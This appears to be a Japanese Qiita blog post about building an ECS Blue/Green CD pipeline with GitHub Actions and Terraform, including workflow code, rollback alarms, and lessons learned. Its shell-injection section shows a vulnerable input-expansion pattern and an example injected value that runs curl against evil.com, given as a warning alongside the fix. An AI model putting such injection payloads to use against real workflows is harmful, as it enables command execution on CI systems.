0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

ECS Native Deployment Strategy で Blue/Green CD基盤を1日で構築した【GitHub Actions + Terraform 実装付き】

0
Last updated at Posted at 2026-04-03

はじめに

個人開発の NBA ニュースサイトにデプロイ基盤がなく、aws ecs update-service --force-new-deployment を手動で叩いていた状態から、ECS Native Deployment Strategy(CANARY / LINEAR)+ GitHub Actions の CD 基盤を1日で構築しました。

📌 この記事で扱うこと:

  • ECS Native Deployment Strategy で CANARY / LINEAR Blue/Green デプロイを実装する方法
  • GitHub Actions ワークフローの実装コード(コピペで使えるレベル)
  • 構築中にハマったポイント3つ(シェルインジェクション、wait タイムアウト、IAM 権限不足)

環境

項目 バージョン・設定
ECS Fargate, deployment_controller: ECS
Terraform >= 1.10.0, AWS Provider ~> 5.0
Terramate 最新
GitHub Actions ubuntu-latest
ECS Native Strategy GA 2025-07-17

実装

構築したワークフロー一覧

ワークフロー トリガー 機能
cd-ecs.yml CI 完了 (workflow_run) / 手動 ECS Blue/Green デプロイ(CANARY or LINEAR 選択可)
cd-frontend.yml push (frontend/**) / 手動 S3 sync + CloudFront invalidation
cd-rollback.yml 手動 ECS / Frontend の手動ロールバック
cd-terraform.yml push (terraform/**) Terramate → plan → apply 自動実行

cd-ecs.yml の核心部分

デプロイ戦略を動的に切り替える仕組みが一番のポイントです。ECS Service は1つの deployment strategy しか持てないため、update-servicedeploymentConfiguration パラメータで動的に JSON を渡します。

- name: Resolve deployment strategy
  id: strategy
  run: |
    set -euo pipefail
    STRATEGY="${INPUT_STRATEGY:-canary}"

    if [ "$STRATEGY" = "linear" ]; then
      cat <<'EOJSON' > /tmp/deploy-config.json
      {
        "deploymentStrategy": {
          "type": "LINEAR",
          "linear": { "linearStepSize": 25, "waitDuration": 180 }
        },
        "alarms": {
          "alarmNames": ["iso-flow-prod-deploy-5xx", "iso-flow-prod-deploy-p99"],
          "enable": true, "rollback": true
        }
      }
      EOJSON
    else
      cat <<'EOJSON' > /tmp/deploy-config.json
      {
        "deploymentStrategy": {
          "type": "CANARY",
          "canary": {
            "steps": [
              {"type": "CANARY", "stepSize": 10},
              {"type": "WAIT", "duration": 300}
            ]
          }
        },
        "alarms": {
          "alarmNames": ["iso-flow-prod-deploy-5xx", "iso-flow-prod-deploy-p99"],
          "enable": true, "rollback": true
        }
      }
      EOJSON
    fi

- name: Update ECS service
  run: |
    aws ecs update-service \
      --cluster "$ECS_CLUSTER" \
      --service "$ECS_SERVICE" \
      --task-definition "$TASK_DEF_ARN" \
      --deployment-configuration "$(cat /tmp/deploy-config.json)"

3層ロールバック(Terraform)

# ECS Service — Circuit Breaker(第1層)
resource "aws_ecs_service" "main" {
  deployment_circuit_breaker {
    enable   = true
    rollback = true
  }
  lifecycle {
    ignore_changes = [task_definition]
  }
}

# CloudWatch Alarm — 5xx エラー率(第2層)
resource "aws_cloudwatch_metric_alarm" "deploy_5xx" {
  alarm_name          = "iso-flow-prod-deploy-5xx"
  comparison_operator = "GreaterThanThreshold"
  threshold           = 1  # 1%
  evaluation_periods  = 1
  treat_missing_data  = "notBreaching"

  metric_query {
    id          = "error_rate"
    expression  = "(m1 / m2) * 100"
    return_data = true
  }
  # m1 = HTTPCode_ELB_5XX_Count, m2 = RequestCount
}

# 第3層は cd-rollback.yml(手動)

Terraform 自動 apply

# cd-terraform.yml — main マージで自動 apply
- name: Terraform Init & Apply
  working-directory: terraform
  run: |
    terramate run --disable-safeguards=git-uncommitted \
      -- terraform init -input=false
    terramate run --disable-safeguards=git-uncommitted \
      -- terraform apply -input=false -auto-approve

これで PR マージ → Terraform 変更が自動反映。手動 terraform apply が完全に不要になりました。

ハマったポイント

1. GitHub Actions のシェルインジェクション脆弱性

問題: ${{ inputs.image_tag }}run: ブロック内で直接展開していた。

# NG — 任意コマンド実行可能
TAG="${{ inputs.image_tag }}"

# OK — env: 経由で環境変数として渡す
env:
  INPUT_IMAGE_TAG: ${{ inputs.image_tag }}
run: |
  TAG="$INPUT_IMAGE_TAG"

workflow_dispatch のフリーテキスト入力に "; curl http://evil.com # のような値を入れると、シェルコマンドとして展開・実行されます。3箇所で見つかりました。

対策: ${{ inputs.* }} は必ず env: 経由で環境変数に渡す。加えて数値入力は [[ "$VAR" =~ ^[0-9]+$ ]] でバリデーション。

2. aws ecs wait services-stable のタイムアウト

問題: デフォルトのタイムアウトは 40回 × 15秒 = 10分。しかし CANARY(5分 bake)や LINEAR(3分 × 4段階 = 12分)では10分を超える。

タイムアウトすると workflow が fail → 「デプロイ失敗」と誤認 → ロールバック発動 → 進行中のデプロイとロールバックが競合する最悪のパターン。

対策:

aws ecs wait services-stable \
  --cluster "$ECS_CLUSTER" \
  --services "$ECS_SERVICE" \
  --cli-read-timeout 0 \
  --waiter-config '{"Delay":15,"MaxAttempts":100}'

MaxAttempts=100 × Delay=15 = 25分。デプロイ戦略の最大所要時間に合わせて余裕を持たせます。

3. IAM 権限の ecr:DescribeImages 不足

問題: cd-ecs.yml の「最新イメージタグ取得」で aws ecr describe-images を呼んでいるが、IAM ポリシーに ecr:DescribeImages がなかった。

# これが AccessDenied でコケる
TAG=$(aws ecr describe-images \
  --repository-name "$ECR_REPOSITORY" \
  --query '...')

対策: Terraform の IAM ポリシーに ecr:DescribeImagesecr:DescribeRepositories を追加。CD ワークフローが使う AWS API は全て IAM ポリシーに列挙すること。

まとめ

Before After
手動 force-new-deployment CANARY / LINEAR Blue/Green
ロールバック手段なし 3層防御(Circuit Breaker + CW Alarm + 手動)
手動 terraform apply PR マージで自動 apply
手動 S3 sync push で自動デプロイ

1日で終わった理由: SDD(Spec-Driven Development)で要件定義→設計→レビューを先に固めてから実装に入ったこと。設計段階で Devil's Advocate レビューを入れ、「ECS Native は途中停止できない」「GitHub Environment は private repo で使えない」といった制約を実装前に発見できた。

この記事で解説した CD 基盤の実装コード(Terraform + GitHub Actions)をサンプルリポジトリとして公開しています。

👉 toguri/example-ecs-native-cd

🏀 NBA ISO FLOW: https://www.nba-iso-flow.com/ — NBAの最新ニュースをリアルタイムでお届け

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?